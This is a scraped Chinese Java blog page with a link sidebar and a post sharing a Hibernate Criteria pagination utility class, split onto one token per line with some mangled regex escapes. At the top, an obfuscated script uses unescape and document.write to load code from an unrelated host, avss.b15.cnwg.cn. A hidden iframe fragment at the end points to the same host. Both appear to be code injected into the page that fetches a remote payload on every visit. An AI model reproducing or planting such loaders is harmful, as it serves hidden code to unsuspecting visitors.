HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Hibernat
li>
j2ee
ComponentReference
javaeye tapestry
javatang(ajax等)
Struts-menu
struts标记库
Tapestry中文文档
Tapestry中文文档
老高
J2ME
java application
JViews Telecom Graphic Objects
JavaScript
google个性主页的拖拽效果的js
JavaScript高级教程
Java基础
java在线API
中文版jdk API
Liferay
Liferay Portal 系列文章
Liferay个人收集
Liferay英文站点
liferay论坛
Spring
Acegi 扩展开发
acegi官方网站
Acegi文档翻译与笔记
AppFuse
Security Acegi
springside 中文
Spring中文网站
Spring官方网站
Spring开发参考手册
Spring聚集
UML
jude
WebServices
AppFuseXFire
Java Technology and Web Services
Java Technology and Web Services - Documentation
Web Services Code Samples
电信
ctiforum
Essential SNMP, 2nd Edition
openvoip
中国网管联盟
通信专业门户
通信技术
工作流
JBoss jBPM 3.1
osworkflow
开源社区
cas
Cindy
数据库
Oracle? Database PL/SQL User's Guide and Reference
PL/SQL User's Guide and Reference
xsb Oracle Blog
甲骨文学(oracle)
杂记
存档
2007年09月(7)
2007年08月(20)
2007年07月(5)
2007年06月(16)
2007年05月(12)
2007年04月(32)
2007年03月(8)
2007年02月(4)
2007年01月(9)
2006年12月(9)
2006年11月(19)
2006年10月(20)
2006年09月(3)
2006年08月(4)
2006年07月(10)
2006年06月(2)
2006年05月(3)
2006年03月(7)
2006年02月(8)
2006年01月(3)
2004年10月(1)
上一篇: Java2Html
|
下一篇: Hibernate---Criteria
function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}
Hibernate---Criteria
package
com.javaeye.common.hibernate;
import
java.lang.reflect.Field;
import
java.sql.SQLException;
import
java.util.ArrayList;
import
java.util.List;
import
java.util.regex.Matcher;
import
java.util.regex.Pattern;
import
org.apache.commons.lang.StringUtils;
import
org.apache.commons.logging.Log;
import
org.apache.commons.logging.LogFactory;
import
org.hibernate.Criteria;
import
org.hibernate.HibernateException;
import
org.hibernate.Session;
import
org.hibernate.criterion.CriteriaSpecification;
import
org.hibernate.criterion.DetachedCriteria;
import
org.hibernate.criterion.Projection;
import
org.hibernate.criterion.Projections;
import
org.hibernate.impl.CriteriaImpl;
import
org.hibernate.impl.CriteriaImpl.OrderEntry;
import
org.springframework.dao.DataAccessException;
import
org.springframework.orm.hibernate3.HibernateCallback;
import
org.springframework.orm.hibernate3.HibernateTemplate;
import
org.springframework.util.Assert;
import
com.skyon.framework.dao.PaginationSupport;
public
abstract
class
HibernateUtils {
private
static
Log logger
=
LogFactory.getLog(HibernateUtils.
class
);
private
static
String removeSelect(String sql) {
Assert.notNull(sql,
"
sql must be specified
"
);
int
beginPos
=
sql.toLowerCase().indexOf(
"
from
"
);
Assert.isTrue(beginPos
!=
-
1
,
"
the sql :
"
+
sql
+
"
must has a keyword 'from'
"
);
return
sql.substring(beginPos);
}
private
static
String removeOrders(String sql) {
Pattern p
=
Pattern.compile(
"
order//s*by[//w|//W|//s|//S]*
"
, Pattern.CASE_INSENSITIVE);
Matcher m
=
p.matcher(sql);
StringBuffer sb
=
new
StringBuffer();
while
(m.find()) {
m.appendReplacement(sb,
""
);
}
m.appendTail(sb);
return
sb.toString();
}
public
static
int
getTotalCount(HibernateTemplate hibernateTemplate, String queryString,
boolean
isNamedQuery,
String[] paramNames, Object[] paramValues)
throws
IllegalArgumentException, DataAccessException {
if
(StringUtils.isBlank(queryString)) {
throw
new
IllegalArgumentException(
"
queryString can't be blank
"
);
}
String countQueryString
=
"
select count (*)
"
+
removeSelect(removeOrders(queryString));
List countList;
if
(isNamedQuery) {
countList
=
hibernateTemplate.findByNamedParam(countQueryString, paramNames, paramValues);
}
else
{
countList
=
hibernateTemplate.find(countQueryString, paramValues);
}
return
((Integer) countList.get(
0
)).intValue();
}
public
static
List getPageResult(Criteria criteria,
int
offset,
int
maxPageItems)
throws
HibernateException {
criteria.setFirstResult(offset);
criteria.setMaxResults(maxPageItems);
return
criteria.list();
}
public
static
PaginationSupport findByCriteria(HibernateTemplate hibernateTemplate,
final
DetachedCriteria criteria,
final
int
firstResult,
final
int
maxResults)
throws
DataAccessException {
return
(PaginationSupport) hibernateTemplate.execute(
new
HibernateCallback() {
public
Object doInHibernate(Session session)
throws
HibernateException, SQLException {
Criteria executableCriteria
=
criteria.getExecutableCriteria(session);
//
Get the orginal orderEntries
OrderEntry[] orderEntries
=
HibernateUtils.getOrders(executableCriteria);
//
Remove the orders
executableCriteria
=
HibernateUtils.removeOrders(executableCriteria);
//
get the original projection
Projection projection
=
HibernateUtils.getProjection(executableCriteria);
int
totalCount
=
((Integer) executableCriteria.setProjection(Projections.rowCount()).uniqueResult())
.intValue();
executableCriteria.setProjection(projection);
if
(projection
==
null
) {
//
Set the ResultTransformer to get the same object
//
structure with hql
executableCriteria.setResultTransformer(CriteriaSpecification.ROOT_ENTITY);
}
//
Add the orginal orderEntries
executableCriteria
=
HibernateUtils.addOrders(executableCriteria, orderEntries);
//
Now, the Projection and the orderEntries have been resumed
List items
=
HibernateUtils.getPageResult(executableCriteria, firstResult, maxResults);
return
new
PaginationSupport(items, totalCount, firstResult, maxResults);
}
},
true
);
}
public
static
Projection getProjection(Criteria criteria) {
CriteriaImpl impl
=
(CriteriaImpl) criteria;
return
impl.getProjection();
}
public
static
OrderEntry[] getOrders(Criteria criteria) {
CriteriaImpl impl
=
(CriteriaImpl) criteria;
Field field
=
getOrderEntriesField(criteria);
try
{
return
(OrderEntry[]) ((List) field.get(impl)).toArray(
new
OrderEntry[
0
]);
}
catch
(Exception e) {
throw
new
InternalError(
"
Runtime Exception impossibility can't throw
"
);
}
}
public
static
Criteria removeOrders(Criteria criteria) {
CriteriaImpl impl
=
(CriteriaImpl) criteria;
try
{
Field field
=
getOrderEntriesField(criteria);
field.set(impl,
new
ArrayList());
return
impl;
}
catch
(Exception e) {
throw
new
InternalError(
"
Runtime Exception impossibility can't throw
"
);
}
}
public
static
Criteria addOrders(Criteria criteria, OrderEntry[] orderEntries) {
CriteriaImpl impl
=
(CriteriaImpl) criteria;
try
{
Field field
=
getOrderEntriesField(criteria);
for
(
int
i
=
0
; i
<
orderEntries.length; i
++
) {
List innerOrderEntries
=
(List) field.get(criteria);
innerOrderEntries.add(orderEntries[i]);
}
return
impl;
}
catch
(Exception e) {
throw
new
InternalError(
"
Runtime Exception impossibility can't throw
"
);
}
}
private
static
Field getOrderEntriesField(Criteria criteria) {
Assert.notNull(criteria,
"
criteria is requried.
"
);
try
{
Field field
=
CriteriaImpl.
class
.getDeclaredField(
"
orderEntries
"
);
field.setAccessible(
true
);
return
field;
}
catch
(Exception e) {
throw
new
InternalError();
}
}
}
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">